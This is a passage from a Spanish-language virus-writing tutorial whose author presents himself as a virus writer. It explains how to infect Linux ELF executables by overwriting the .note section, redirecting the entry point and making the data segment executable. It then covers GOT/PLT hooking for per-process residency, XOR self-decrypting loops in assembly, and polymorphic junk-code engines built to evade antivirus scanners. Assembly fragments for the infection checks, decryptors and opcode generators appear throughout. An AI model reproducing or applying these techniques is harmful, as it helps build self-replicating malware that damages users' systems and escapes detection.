caso y usará el indicado en el segmento al que pertenecen. Precisamente, esto va a facilitar
mucho las cosas a la hora de infectar estos ficheros, puesto que podremos trabajar a nivel de
segmento y olvidarnos de estar tan pendientes de las secciones por separado (que es lo que
sucedía en Windows).
Cabecera ELF
Sección 1
...
Sección N
Tabla de secciones
Lo primero que nos vamos a encontrar es la cabecera ELF; en ella tenemos el identificativo
ELF (los 4 primeros bytes, 07fh + 'ELF'), seguido de una serie de datos acerca del fichero, que
incluyen cosas como el tipo de ejecutable según procesador, alineamiento de bytes, tipo de
fichero (ejecutable, obj, etc), la máquina que corre el archivo, y toda una serie de valores
descritos en la siguiente estructura:
#define EI_NIDENT 16
La siguiente sección a comentar es entonces la Program Header Table, que contiene las
descripciones de los segmentos. Indicará en una estructura por segmento, el tipo de
segmento, una dirección virtual de comienzo en memoria, tamaño, permisos y algunos otros
datos.
Para nosotros va a ser muy necesario tocar esta tabla de entradas; por ejemplo, podemos
poner a la parte de código permisos de escritura, con lo que podremos tener al virus en un
sólo bloque sin repartirlo en secciones de código y datos (lógico). En caso de que
almacenemos el virus en una sección del segmento de datos, lo que haremos será modificar
sus permisos de lectura/escritura añadiendo ejecución para que podamos correr el virus sobre
ella.
También, al infectar, habrá que aumentar el tamaño de algún segmento, aquel en que
queramos meter el virus. Por ejemplo, aumentar la de datos si nuestro virus se mete ahí de
forma que deje espacio para que se cargue en memoria.
Una vez acabamos con esto, nos queda la tabla de secciones; cada sección tiene una serie de
datos que incluyen tipo, lugar en el fichero, RVA, tamaño, etc. Lo cierto es que ni tan
siquiera hace falta tocar esta tabla para infectar, excepto para saber donde comienza una
sección por ejemplo (en caso de querer hacer un cavity). El hecho de que Linux conceda
prioridad a los segmentos, da muchas facilidades (aunque no sería difícil; en Windows el
sistema standard de infección consiste en aumentar una sección de tamaño y añadirse en
ella... y los ejecutables de Linux y Windows son tremendamente parecidos - el PE se derivó
del COFF de Unix).
- Buscamos en la tabla de secciones al final del fichero la .note, identificada por un campo
que define el tipo en la estructura.
-Comprobamos si hay espacio suficiente para el virus, y si lo hay se averigua el offset físico
donde está esta sección y se copia ahí.
-Recalculamos el punto de inicio de ejecución del fichero para que apunte a nuestro virus y
guardamos el antiguo.
-Aumentamos el tamaño del segmento de datos para que el virus se cargue en memoria.
Suponemos que ya ha sido realizada la apertura del fichero y tendremos en EAX su dirección
base. Comprobar estas cosas en código podría ser algo como esto:
cmp dword[ebx],0x464C457F ; Cadena 'ELF'+07fh jnz noesELF cmp byte [ebx + 0x10],02h ; Es
ejecutable?
jnz noesELF
Visto esto, ya sabremos si es un fichero que podemos infectar o no (tampoco está de más
poner la típica marca de infección en algún lugar).
- Buscamos en la tabla de secciones al final del fichero la .note, identificada por un campo
que define el tipo en la estructura.
Para esta búsqueda podemos tomar en esta ocasión un atajo (aunque tenemos el offset de la
tabla de secciones y podemos iterar a través de ellas). Nos interesa la .note, y resulta que
esta entrada suele estar con muy alta probabilidad en el final del fichero menos 04Ch
mov eax,[tamanyo] ; El cual habiamos averiguado antes con la función 13h sub eax,04Ch ;
Restamos esto add eax, ; Y le añadimos la base donde se ha mapeado
-Comprobamos si hay espacio suficiente para el virus, y si lo hay se averigua el offset físico
donde está esta sección y se copia ahí.
Para ello hemos de tener en cuenta la estructura de la entrada de la tabla de secciones a la
que acabamos de acceder:
Con esto en nuestras manos, lo que nos va a interesar pues es sh_size que indica el tamaño de
la sección. ¿Será suficiente para alojarnos? Lo comprobamos con algo como lo siguiente:
Si tenemos suficiente espacio para alojar el virus, cogeremos ese sh_offset como una RVA y
copiaremos el código del virus ahí, sobreescribiendo lo que se encontrase en ese lugar (que en
cualquier caso, no sirve para nada y no impide el buen funcionamiento del programa):
-Recalculamos el punto de inicio de ejecución del fichero para que apunte a nuestro virus y
guardamos el antiguo.
Para ello, vamos a introducir la forma de otra estructura, la Program Header Table, que
contiene información acerca de los segmentos:
En ella, por ejemplo p_type indica el tipo de segmento, p_offset el comienzo en fichero de
este segmento, p_vaddr dónde se situará en memoria, etcétera. Y son estos valores los que
habremos de tener en cuenta a la hora de calcular nuestro nuevo entry point y deducir el
lugar en que se hallará el antiguo. Para averiguar el nuevo entry point, cogeremos el offset
sobre el que ibamos a copiar el virus sin sumarle la dirección base (es decir, el sh_offset de la
tabla de secciones), le restaremos el contenido de p_offset (lo cual nos deja el
desplazamiento respecto al inicio del segmento), y sumándole finalmente p_vaddr
ajustaremos no respecto a la base que hemos cargado en memoria, sino al segmento cuando
este sea cargado en memoria (es decir, respecto a su desplazamiento en cuanto que es
dirección virtual):
Como se puede ver, me estoy refiriendo a desplazamientos fijos al tocar la PHT; estoy
asumiendo que 98h es p_offset, o que 9Ch es p_vaddr. Esto se debe a que ya de antemano
según esta forma de infección sé esos desplazamientos por el sencillo motivo de que el
segmento que hay que modificar siempre es el mismo, esto es, segmento de datos. Por lo
tanto, tendremos también que hacer otra modificación en p_flags para que nos permita
ejecutar código:
mov byte [ebx+0ACh],7 ; PF_R+PF_W+PF_X
-Aumentamos el tamaño del segmento de datos para que el virus se cargue en memoria.
Podemos recalcular el aumento de tamaño respecto a la nueva sección (notes) que se carga
en memoria, aunque es un valor que no vamos a tener mucho problema en ajustar en lo que
diríamos "hardcoding", por ejemplo:
Un detalle que hemos de tener en cuenta, es que el tamaño de página al cargarse el ELF en
memoria suele ser fijo, según el standard //SYSTEM V// puesto a 4Kb (o potencia superior).
Por supuesto, el hecho de que ejecutemos un fichero no significa que él entero vaya a ser
puesto en memoria; puede que hayan partes del programa que no vayan a utilizarse, con lo
que se situará la referencia en HD en la página, con lo que al acceder se generará un fallo de
página y la página será llevada a memoria. En resumen, que las páginas no se cargarán en
memoria hasta que sean referenciadas.
Por ello, también se encuentran las referencias a tamaño virtual (en memoria) redondeadas a
esta cantidad. Supongamos un fichero ELF con tres segmentos (cabecera, código y datos): Con
estos datos ficticios encima es sencillo ver un poco "por donde van los tiros" a la hora de
utilizar el alignment (que por cierto también se usa en Windows). En memoria, si las páginas
son de 4Kb, sólo se podrán poner permisos distintos a cada bloque de 4Kb; por tanto, el
tamaño de la página ha de determinar cómo están alineados los segmentos. Sería absurdo
tener en la misma página código y datos, dado que ambos tienen permisos distintos. Por ello,
el hecho de alinear con esta diversidad de tamaños, en fichero y en memoria, servirá para
mantener de forma coherente el sistema de páginas y segmentos separados.
Existen dos secciones, conocidas como GOT (Global Offset Table) y PLT (Procedure Linkage
Table) que vamos a necesitar conocer caso de querer llevar a cabo una residencia per-process
tal y como ya propusimos en Windows.
Cuando se crea la imagen en memoria del fichero, las posiciones de la GOT se rellenan con
valores especiales, y se referenciará a esta GOT con una dirección absoluta o relativa
(respecto a EBX) según el tipo de programa. Por ejemplo, pongamos que tenemos un fichero
que sólo llama a una función; entonces, la segunda y tercera posiciones de la GOT se rellenan
con unos valores especiales... y entonces, en este fichero que sólo llama a una función,
tendríamos una PLT con este aspecto:
PLT0:
push [EBX+4]
jmp [EBX+8]
push $valor
[...]
La primera vez que llamemos a Función, lo que sucederá es que se transmitirá el control a
"PLT1". Por tanto, saltará a la posición desplazada según el valor de "Función" de la GOT, que
en esta ocasión (por ser la primera vez que se llama) apunta a la instrucción "push $valor" de
la PLT, es decir, la siguiente instrucción al jmp indirecto que acabamos de hacer. El valor
$valor que empuja a la pila es una referencia a la tabla de realocaciones, que será del tipo
R_386_JMP_SLOT (su offset indicará el número de entrada de la GOT a la que hace
referencia).
Tras empujar este offset saltamos a "PLT0", un trozo "común" de la PLT. Ahora, se empujará a
la pila el valor de la posición [GOT+4h] (este valor es un identificativo del propio programa,
para que el linkador dinámico pueda distinguir qué se ha de obtener) y se saltará a [GOT+8h],
que es la dirección para llamar al propio linkador. ¿Qué va a hacer este linkador? Pues bien,
cogerá la dirección absoluta a la que corresponde la función, y la colocará en su lugar
correspondiente; es decir, que en esta ocasión en lugar de //jmp dword ptr [EBX+Funcion]//
se situará un salto absoluto a la dirección de la función correspondiente.
Resumiendo los pasos de nuevo, puesto que puede resultar algo lioso de comprender:
1ª ejecución: Salta a PLT1, ejecuta un salto a la siguiente instrucción, la cual empuja un valor
para ser referenciado en la tabla de realocaciones y salta a "PLT0". Una vez allí, empuja el
segundo valor de la GOT en la pila y salta al tercer valor, que es la dirección del linkador
dinámico. Este, sustituye el valor del salto que hay nada más caer en PLT1 por un salto
absoluto sobre la función deseada. Luego, salta a esa dirección para llevar a cabo la función
Ahora bien, ¿cómo utilizar esto para nuestro provecho?. Este sistema es el utilizado por Linux
para situar las llamadas a funciones pertenecientes al propio proceso, como pueda ser la
siempre interesante función Exec(), por ejemplo, o las de apertura de ficheros y demás... ¿ya
se os están poniendo los cuernos de diablillos?
Pues sí, por ahí tenemos el camino hacia la residencia "per-process", es decir, limitada al
proceso que estamos ejecutando. Aquí llega, por supuesto, la inventiva individual; ¿el método
más sencillo de implementar? Bien, si el virus se ejecuta antes que ninguna otra cosa, llamar
a la función, dejar que el linkador dinámico rellene lo que tenga que rellenar y sobreescribir
con la dirección de nuestro virus...
Pero bien, seguimos teniendo un problema; ¿cómo hacemos la relación de esto con los
nombres de las funciones? Una opción es meter mano a la Dynamic Section (lo cual no es algo
muy recomendable para los dolores de cabeza). Pero por suerte, aquel $valor que se
empujaba a la pila, recordamos que era una referencia a la tabla de realocaciones,... pues
bien, esta entrada contiene un indice respecto a la symbol table, lo cual nos permite saber
qué función referencia la entrada.
typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char
st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym;
¿Alguien se pregunta para qué puede servir un st_name? :-). Si a esa estructura nos da acceso
una entrada en la tabla de realocaciones, tal como esta:
Entonces a la cosa no le queda mucho misterio... dos punteros, nada más, para recorrer el
camino que recorre el dynamic linker a la hora de identificar la función respecto a su entrada
en la tabla de realocaciones.
Y... por último, hemos de tener en cuenta a la variable de entorno LD_BIND_NOW. Si está
desactivada todo será como acabo de contar. Si no es así, las referencias en la PLT estarán ya
precalculadas cuando se empiece a ejecutar el programa.
17 - Técnicas avanzadas
Introducción
Encriptación
Encriptación simple
Resulta un poco ridículo que, tras tener nuestro virus acabado, cualquiera pueda coger con un
editor de textos, abrir el programa infectado y encontrar una cadena de texto diciendo "Virus
Loquesea escrito por tal" y demás texto que hayamos incluído dentro. Además, sin un sistema
siquiera mínimo de encriptación hasta el antivirus más estúpido puede darnos una alarma con
su heurística. Por tanto, la encriptación se convierte en algo casi necesario para nuestros
pequeños autorreplicantes.
El sistema más habitual de encriptación consiste en la utilización de una función XOR o de una
combinación ADD/SUB.
La XOR, que suele ser la más habitual, se basa en el hecho de que cuando a un número le
aplicamos dos veces la operación XOR con el mismo número, el resultado acaba siendo el
mismo que al principio. Es decir, supongamos que A = 10101101 y B = 11011011. Ahora
operamos:
Este es quizá el método de encriptación más sencillo que podemos encontrar en un virus
informático; al hacer el XOR respecto de B se obtiene un nuevo valor que es ese byte
encriptado, y de nuevo haciendo XOR con B se vuelve al original. Por lo tanto, para llevar
adelante esta técnica sólo tendremos que almacenar un determinado valor (preferiblemente
aleatorio) que sea este B, e iterar por todos los bytes del virus para encriptarlo. Un ejemplo
en código sería este:
Ahora bien, la parte del virus a ser encriptada evidentemente no puede ser su totalidad; tiene
que haber un trozo que no sea encriptado, puesto que ha de haber alguna forma en que este
código sea desencriptado para poder ejecutarse. Realmente, sólo la parte que desencripta no
debe ser encriptada con lo que el resto sí puede serlo. Así, podríamos por ejemplo copiar el
virus al fichero infectado mediante memory file mapping y encriptarlo *en el fichero* pero no
en la zona que estamos ejecutando nosotros. Al inicio del virus podríamos dejar sin encriptar
algo como esto:
call Delta Delta: pop ebp sub ebp, offset Delta lea esi, [inicio_encriptado+ebp] mov
ecx,tamanyo_encriptado mov al, byte ptr ds:[llave_encriptado+ebp] Loop_Desencriptacion:
xor byte ptr ds:[esi],al inc esi loop Loop_Desencriptacion
Con estas lineas ya podríamos desencriptar en la siguiente ejecución la totalidad del virus;
todo lo que no sean estas líneas de código quedarían ocultas a ojos curiosos (ojos no lo
bastante curiosos como para coger un debugger y ejecutar estas lineas que lo desencriptan,
claro). Por supuesto, tendréis el problema de que en la primera generación del virus (nada
más compilarlo) este no está encriptado. Nada más sencillo para arreglar esto que inicializar
"llave_encriptado" a cero.
Otros sistemas sencillos de encriptación que son variantes sobre este serían por ejemplo el
uso de instrucciones de desplazamiento (ROR/ROL), de suma y resta (sumando al encriptar y
restando al dividir la misma cantidad o viceversa), o el uso de un simple NOT (equivalente a
XOR reg,0FFh).
A veces, los mejores métodos son los más sencillos; pero un algoritmo que realice números
pseudoaleatorios, tan sólo dará lugar a un sistema de encriptación pseudo-seguro. Nunca
olvidemos que si hacemos un XOR entre un byte encriptado y uno desencriptado, obtenemos
el número que ha sido utilizado para encriptar (cualesquiera dos componentes de una
encriptación XOR dan lugar al tercero).
Gran parte del éxito de un sistema de encriptación o un engine polimórfico (de los cuales
hablamos más adelante) se basa en el hecho de que posea un buen sistema de generación de
números aleatorios. Si siempre ponemos el mismo número a la hora de encriptar será mucho
más fácil cazarnos, y en engines polimórficos la necesidad de una buena rutina de este estilo
ya se hace absoluta.
La obtención bajo un SO como Linux de esto es sencilla, puesto que por defecto la útil
instrucción RDTSC no tiene privilegios de supervisor en el procesador. Esta instrucción,
devuelve un contador de gran precisión que puede perféctamente servir como semilla
aleatoria; ¿el problema? que existe la opción de hacer que sólo pueda ejecutarse en modo
supervisor (¿no entiendo por qué?) y esto en Windows es así mientras que, por lo general, no
sucede en Linux.
Bajo Windows quizá el mejor sistema sería una llamada a la función de sistema GetTickCount
que hace básicamente lo mismo que RDTSC pero con una llamada a API en vez de con una
instrucción (viva la optimización), cuya especificación muestro a continuación:
DWORD GetTickCount(VOID)
Por tanto, la mejor política es una primera llamada para inicializar el valor de semilla
aleatoria y después operaciones sobre ese número que se hagan cada vez que se llama a
vuestra función de obtener un número aleatorio, operaciones que tendréis que diseñar de
modo que creen una aleatoriedad realmente decente... pero esto ya es algo que entra en el
desarrollo que realice cada uno...
Encriptación Avanzada
Utilizar sistemas de encriptación más avanzados (no parece muy difícil que sean más
complejos que un Xor pero en fin xD) tiene ventajas y desventajas. Las ventajas son claras;
estamos ocultándonos de un modo más robusto y los emuladores de los antivirus lo van a
tener más difícil para desencriptar nuestro código (los detectores de virus medianamente
decentes hoy en día intentan "emular" el código que encuentran para que él mismo se
desencripte y poder detectar con facilidad el cuerpo desencriptado del virus). La desventaja
es que vamos a tener una rutina de desencriptación mucho más larga, lo cual si vamos a
querer aplicar posteriormente técnicas de polimorfismo es bastante más difícil (aunque nadie
ha dicho que no se puedan poner varias capas de encriptación unas encimas de otras, la más
sencilla con el polimorfismo más fuerte).
Explicaré de forma relativamente breve los sistemas de encriptación más importantes que
pueden tener aplicación en un sistema como este. Podríamos pensar en complicarnos la vida
con sistemas tipo RSA, pero lamentablemente y como es lógico, si el virus tiene la llave
privada para desencriptarse, el antivirus también podrá acceder a ella (lo cual nos sucede de
nuevo como digo, lamentablemente, en cualquier sistema que utilicemos dado que la clave
de desencriptado ha de estar autocontenida en el virus)... se han hecho en ocasiones
aproximaciones distintas a este hecho, como el RDAE (Random Decryption Algorithm Engine)
de Darkman, que prueba aleatoriamente combinaciones hasta que se desencripta intentando
hacer que al antivirus no le compense trabajar tanto sin haberlo detectado (encripta con un
valor aleatorio que no guarda). Aunque lamentablemente no se trata de una técnica
demasiado efectiva, es un esfuerzo interesante en este camino.
Cifrado por bloques: Los sistemas basados en cifrado por bloques pueden constituir un
algoritmo de encriptación que dé quebraderos de cabeza a quien quiera eliminar el virus
(estando por supuesto contenido parte del código del fichero infectado dentro de la zona
encriptada). Creados en los 70 por IBM, su primer resultado se llamó "Lucifer", con una clave
de 128 bits que coincidía con el tamaño del bloque (aunque ninguna de sus variantes era
segura). Cada paso que se realiza sobre un bloque se denomina ronda (round), y se supone
que cuanto mayor es el número de rondas realizadas sobre cada bloque, mayor es la
seguridad... el ejemplo más clásico de este tipo de cifrado es el sistema DES, que tiene una
clave de 56 bits y actúa en 16 rondas sobre bloques de 64 bits (por cierto, este algoritmo fue
diseñado por IBM con... ayuda de la NSA, en fin, este último organismo es una constante en
muchos algoritmos).
A cada bloque que se cifra se le aplica una determinada función cierto número de veces (las
rondas ya mencionadas); como ejemplo de implementación de un sistema de cifrado por
bloques (que aporta complejidad a la hora de desencriptar y desinfectar pero no es en
absoluto infalible ya que el antivirus puede leer la llave que se utilizó para encriptar) se
puede mirar mi QBCE en el virus "Win9x.Unreal".
Volviendo al tema, estos sistemas son vulnerables a ataques que busquen correlaciones entre
el input/output al aplicarse la función (criptoanálisis diferencial), respecto a la llave y el
output (criptoanálisis lineal) y en base a correlaciones en cambios en la clave y el output
(criptoanálisis basado en la clave). En cualquier caso esto no nos importa mucho; el antivirus
sólo tiene que aplicar el mismo algoritmo que nosotros, pues conoce la llave utilizada - sólo
podremos hacerlo algo más lento.
Otro algoritmo que merece la pena mencionar dentro de esta clasificación es el IDEA, que fue
utilizado en un virus del programador Spanska. Una descripción de ese autorreplicante
debería poder encontrarse en
http://www.avp.ch/avpve/file/i/idea.stm
Funciones Hash: Se trata de algoritmos que llevan a cabo operaciones con una serie de datos
de entrada de diversos tamaños reduciéndolos a un sólo valor, de modo que la función es
irreversible y su resultado virtualmente único. Encontramos varios algoritmos que cumplen
esta labor, como //MD2, MD4, MD5, SHA, HAVAL o SNEFRU//. De ellos, suele aceptarse SHA
como el más seguro (cómo no, desarrollado por la NSA). MD2 y MD4 han sido rotos, y MD5 se
considera que tiene debilidades...
Este sistema, por ejemplo, se utiliza con las claves almacenadas en el fichero de passwords
de nuestro Linux casero; las claves de los usuarios no se almacenan, sino que lo que se guarda
es el resultado de aplicar este tipo de función, de modo que cuando se intenta acceder a la
cuenta de un usuario a la clave que se nos pregunta se le aplica el algoritmo y se compara el
resultado con el almacenado (es por esto que los ataques más típicos cuando se obtiene este
fichero de passwords se basan en codificar diccionarios con el algoritmo que se utilice en el
sistema para compararlos con las entradas en el fichero de passwords; si se encuentra una
coincidencia, se ha descubierto la clave).
Esta aproximación ha sido utilizada en más de un virus para ocultar cadenas de texto a
comparar con otras, de modo que se almacene tan sólo el resultado de la función utilizada y
se aplique esta función a las cadenas de texto/codigo/etcétera con que se quiera compararlo.
Por ejemplo, si queremos evitar que nuestro virus infecte determinados ejecutables
pertenecientes a programas antivirus, en lugar de comparar el nombre del fichero con
'ANTIVIRUS.EXE' conteniendo esa cadena en nuestro código, almacenaríamos el valor
resultante de aplicarle esta función (p.ej, supongamos que fuera "A1cHypr3F0"). Así, al ir a
infectar aplicaríamos el algoritmo al nombre del fichero a infectar, y si el resultado fuera ese
"A1cHypr3F0", no lo infectaríamos.
Muchos de estos algoritmos son públicos, y se pueden encontrar referencias con explicaciones
sobre su funcionamiento y código para llevar a cabo su función (aunque probablemente estará
en lenguaje C y tendréis que encargaros de reprogramarlo en ensamblador). Existe también
una forma de hacer más complejo este algoritmo, lo que se denomina "HMAC" (Hash Message
Authentication Code), sistema por el cual el hash se realiza respecto a una clave de forma
que esta afecte tanto al inicio como al final del proceso de cifrado; no obstante no hace falta
esforzarse mucho en ello si estamos programando virus, ya que esta clave al estar disponible
para nosotros lo estará también para el antivirus.
Polimorfismo
Introducción al polimorfismo
Hace ya unos cuantos años, un programador búlgaro que se hacía llamar Dark Avenger anunció
a las compañías antivirus que en breve sacaría un sistema por el cual un virus podría tener
millones de aspectos distintos. Se rieron de él, pero no tardó mucho esa sonrisa en
congelarse; hasta entonces los programas antivirus no eran más que buscadores de cadenas
hexadecimales. Si su registro de cadenas hexadecimales coincidía con el de algún fichero,
detectaba el virus en particular. Al fin y al cabo, aunque se encriptara el código del virus,
había siempre una parte que permanecía constante... la rutina de desencriptado. El antivirus
detectaba estas rutinas y las utilizaba para descifrarlo.
Sin embargo, a Dark Avenger se le había ocurrido algo que aún da muchos dolores de cabeza a
las compañías antivirus: el polimorfismo. Su sistema consistía en hacer que la rutina de
desencriptado también fuera complétamente variable, de modo que no pudiera ser detectada
como una cadena hexadecimal.
Para ilustrar en qué consiste el polimorfismo, nada mejor que usar un ejemplo de rutina de
desencriptado e ir variándola. Veremos cómo, en todas sus formas, esta rutina siempre está
haciendo lo mismo:
mov ebp, valor_delta lea esi, [inicio_virus+ebp] mov al, byte ptr [valor] mov ecx, <tamaño>
descifrar: xor byte ptr [esi], al inc esi loop descifrar
Cuando esto era así de forma inmutable, el antivirus no tenía más que buscar, en este caso,
la cadena de bytes que resultaba del compilado de estas líneas. Sin embargo, veamos esto
ahora:
push valor_delta pop edi add edi, inicio_virus mov cl, byte ptr [valor] mov ebx, descifrar: xor
byte ptr [edi], cl inc edi dec ebx jnz descifrar
Si se observa detenidamente este código, es fácil ver que está haciendo exáctamente lo
mismo que la rutina anterior; hemos empujado el valor precalculado del delta_offset, lo
hemos sacado en edi al que añadimos "inicio_virus" (haciendo las veces de ESI en el ejemplo
inicial). Además, en vez de AL usamos CL para desencriptar; tampoco utilizamos un loop sino
un dec/jnz respecto a ebx. Estamos, pues, haciendo lo mismo con un código distinto.
Otro ejemplo:
mov edi, (inicio_virus+valor_delta+tamaño) mov bl, byte ptr [valor] mov edx, <tamaño>
descifrar: xor byte ptr [edi], bl dec edi dec ebx jnz descifrar
Ahora, estamos desencriptando desde el final hacia el principio en lugar de como haciamos
antes... y las posibilidades no acaban aquí, como es evidente; podríamos hacer que a veces se
utilizara el xor y otras el add/sub. También podemos utilizar otros registros, idear distintas
formas de cargar los parámetros en los registros correspondientes, u otras maneras en que
nuestro código fuera desencriptado...
Sin embargo, esto no es todo lo que el polimorfismo tiene que ofrecer; esta variación en la
rutina de desencriptado es sólo el primer paso.
En realidad, tampoco se lo estamos poniendo tan difícil como podemos aún a los detectores
de virus con lo que hemos visto en el apartado anterior. El siguiente paso en complejidad en
el polimorfismo, es la generación de instrucciones basura.
¿Qué son instrucciones basura? Pues bien, se trata de código que no va a hacer nada útil, más
que despistar a los detectores de virus. Por ejemplo, como ejercicio básico podríamos marcar
aquellos registros que no utilizasemos en nuestra rutina de desencriptado y utilizarlos para
operar sobre ellos... podemos hacer lo que queramos, puesto que al ser los primeros en
ejecutarnos no tenemos restricciones respecto a estos registros.
Pongamos, por ejemplo, que utilizamos EAX, ECX y EDX. Esto nos deja disponibles el resto de
registros para generar instrucciones como MOV EBX, o ADD ESI, ECX (¡con esta instrucción ESI
es alterado pero ECX no!), y todo un enorme rango de operaciones que no van a suponer
ningún problema ni para nosotros ni para la ejecución de nuestro virus.
Considerando esto, que constituiría el polimorfismo más clásico, ya podemos ver esta técnica
como una de las más personales de las que puede desarrollar un escritor de programas
autorreplicantes; no vamos a tener más remedio que fabricarnos tablas de opcodes (códigos
de operación) para generar instrucciones nosotros mismos, unido a una estrategia de
variación de las rutinas de desencriptado que intente resultar en un todo coherente y efectivo
contra la detección de nuestro bichito.
Podemos basar este código en tablas, en subrutinas con saltos condicionales, o en cualquier
método que nos parezca más cómodo o efectivo. Por ejemplo, podríamos tener una zona
"central" del engine polimórfico que se dedicara a saltar aleatoriamente a distintas funciones
para generar código basura. Una de ellas podría ser esta:
; suponemos que ; EDI = lugar donde generar Genera_Reg_Imm: mov al, 0B8h call
Genera_Aleatorio ; valor devuelto en ECX and cl, 07h ; hace que el valor vaya de 0 a 7 add al,
cl stosb call Genera_Aleatorio stosd ret
Ahora, ¿qué hace este código?. 0B8h es el código de operación de MOV EAX, valor_inmediato,
y le estamos añadiendo un valor aleatorio entre cero y siete (nuestro generador aleatorio
fabrica números de 32 bits). La razón la entendemos si miramos la siguiente tabla:
Efectivamente, cuando el procesador ve un byte con uno de estos valores, lo interpreta como
"mover a tal registro tal valor". Por tanto, leerá los cuatro siguientes bytes para averiguar
cuál es ese valor. Internamente moverá ese valor al registro y continuará su ejecución.
|| Código || Acción || ||
|| 0B8h || MOV EAX, valor || ||
|| 0B9h || MOV ECX, valor || ||
|| 0BAh || MOV EDX, valor || ||
|| 0BBh || MOV EBX, valor || ||
|| || || 98 ||
Nosotros hemos averiguado que estos opcodes, los que van del rango 0B8h a 0BFh, sirven para
mover un valor a un registro; por tanto en la rutina que habíamos fabricado y que se llamaba
de forma aleatoria por un CALL, vamos a generar una órden tipo //MOV ,// aleatoria.
Aun así, un código como el mostrado anteriormente no puede quedarse así. Hay registros que
nosotros estamos utilizando y que no queremos que sean modificados. Además, tampoco nos
conviene modificar el registro de pila, ESP, puesto que entonces si estaríamos interfiriendo
con la ejecución del programa - y de nuestro propio virus. Tendremos por tanto que hacer una
comprobación de si el valor generado es 0BCh (mov ESP, ) y volver al principio de la rutina si
es así. Además, tenemos que comprobar el tema de los registros que nosotros estamos
utilizando, porque si escribiéramos sobre ellos la desencriptación no funcionaría y el
programa con toda probabilidad se colgaría al ejecutarse.
Una forma - y pueden servir muchas, esto siempre es a discrección del programador - de
controlar aquello sobre lo que escribimos, sería sencillamente mantener un byte de datos en
el que cada bit hiciera referencia a un registro (mejor en el mismo órden de la tabla anterior
dado que es estándar y podremos aplicarlo en muchos lugares). Por ejemplo, si el valor de
ese byte de datos fuera 01011010 y hubiéramos decidido que un 1 significa "ocupado",
entonces estarían "ocupados" los registros ECX, EBX, ESP y ESI... al realizar nuestras rutinas
que manejaran registros comprobaríamos este byte de datos para ver si están a 1, en cuyo
caso buscaríamos otro registro sobre el que operar (un buen método para consultar este byte,
serían las instrucciones que operan a nivel de bit, como BTS, BTEST, etc)
El número de instrucciones que podemos generar como código basura es casi interminable,
aunque también hemos de tener cuidado dado que los antivirus suelen cazar estos engines
entre otras cosas dado que en el afán por generar código aleatorio se ponen instrucciones
"raras", que normalmente no son generadas por un compilador. En cualquier caso, algunos
ejemplos de lo que podemos hacer:
-Operaciones aritméticas o lógicas sobre aquellos registros que no utilicemos, tanto con otros
registros como con valores inmediatos (ADD, SUB, OR, XOR...).
-Comprobaciones (como CMP o TEST), que en caso de poder ser evaluadas a priori podrían dar
lugar a saltos condicionales (JZ, JNZ, etc etc).
-Llamadas a subrutinas (CALL/RET), manejando internamente los puntos de retorno para que
el código sea coherente y no de problemas..
Quizá el mejor arma que podemos tener cuando nos embarcamos en la compleja tarea de
escribir un engine polimórfico, sea una buena tabla de instrucciones relacionadas con
opcodes; personalmente uso los propios manuales de Intel, donde en tres o cuatro tablas se
indica la forma de codificar toda referencia a registro e inmediato y sus combinaciones...
siempre se puede descargar una copia en PDF en la página de Intel actualizado al procesador
más actual - tened en cuenta que hay instrucciones que no servirán para ordenadores
antiguos, y siempre es bueno mantener cierta compatibilidad hacia atrás -. Combinando estas
tablas (las que hacen referencia a las formas de direccionamiento ModR/M y SIB) con la
referencia que en cada instrucción da Intel a nivel de opcode y nuestra propia experiencia,
podemos llevar adelante la programación de un generador de instrucciones aleatorias.
Sería largo de explicar y tendría que tocar teoría de lenguajes y autómatas, pero sería
sencillo demostrar que un engine polimórfico no puede llegar a ser indetectable. La
generación de código aleatorio y las instrucciones de desencriptado equivalen a un alfabeto
que utilizamos para hacer "palabras", palabras que son el código que hemos fabricado de
forma semi-aleatoria. Lamentablemente, ese código generado ha sido realizado respecto a
unas reglas de producción - no importa que las llamadas a funciones generadoras se
intercalen de forma aleatoria -, y ese hecho lleva a una conclusión propia ala teoría de
lenguajes y autómatas; que todo lo que generemos es detectable, o, en términos de esta
teoría, que toda producción tiene un autómata correspondiente que lo detecta sin errores.
Es algo que sin duda no puedo explicar en un sólo párrafo; quien esté más interesado que
mire cierto artículo que escribí hace un par de años llamado "Polimorphism and Grammars"
bajo el seudónimo de Qozah demostrando el hecho de que, lamentablemente, un engine
polimórfico no puede hacerse indetectable.
Podemos sin embargo adoptar otras estrategias; apunté una en aquel entonces que puede
hacer a un virus inlimpiable si es trabajada con suficiente intensidad (técnica que utilizó de
forma primitiva en mi virus Unreal)... no obstante no ofrecía soluciones al problema de la
indetectabilidad. Lamentablemente, a estas alturas seguimos sin tener ninguna.
Sabemos ya que este sistema no puede hacer indetectable un virus, aunque sin duda puede
hacer mucho más difícil su detección si se lleva a cabo de forma correcta. ¿Qué alternativas
nos quedan por probar? He aquí algunas ideas:
- Generación de código que intente imitar código legítimo: Esto es una variante bastante
interesante dentro del objetivo de la mayoría de los engines polimórficos, y que ya está
siendo adoptada por algunos programadores de virus. Utilizando el método clásico quizá el
resultado sea una serie de instrucciones que, si bien son bastante aleatorias, no son
realmente coherentes como código. Con esta aproximación, se pretende que el código
resultante sea realmente parecido a un programa legítimo.
Aquí entra en buen grado la investigación individual; podríamos por ejemplo generar inicios
de subrutina con un aspecto tipo MOV EBP,ESP/SUB ESP, XX, que suele ser el comienzo de
toda subrutina e incluso de buena parte de los programas que veamos; se trata de una
estructura que se llama marco de pila y que consiste en que al llamarse a una subrutina se
deja en la pila un espacio (al inicio del cual apunta EBP) para almacenar las variables locales
que se utilizarán en ese procedimiento (de modo que no se gasta espacio en memoria
inútilmente). Así, si por ejemplo en el código C con que fue escrito un programa tenemos tan
sólo una variable tipo "long int variable", normalmente el compilador al principio de ese
procedimiento restará 4 a la pila (4 bytes es el tamaño de un long int), y con EBP hará
referencia a esta variable (y a otras en caso de haber más).
El problema de esta técnica suponiendo el caso ideal en que hubieramos controlado una
coherencia de modo que el código pareciera realista, es el hecho de que aun así tenemos que
insertar en este código basura las instrucciones que desencriptan el virus; así pues, aunque
hubiéramos conseguido hacernos indistinguibles del código legítimo de cualquier otro
programa, seguiríamos teniendo el problema de que unas pocas instrucciones en ese código,
las que desencriptan nuestro virus, no son variables del mismo modo y por tanto puede
fabricarse un programa - autómata si volvemos a la teoría de lenguajes - que detecte el
autorreplicante.
Se trata, en cualquier caso, de un camino interesante a explorar y que se lo pone mucho más
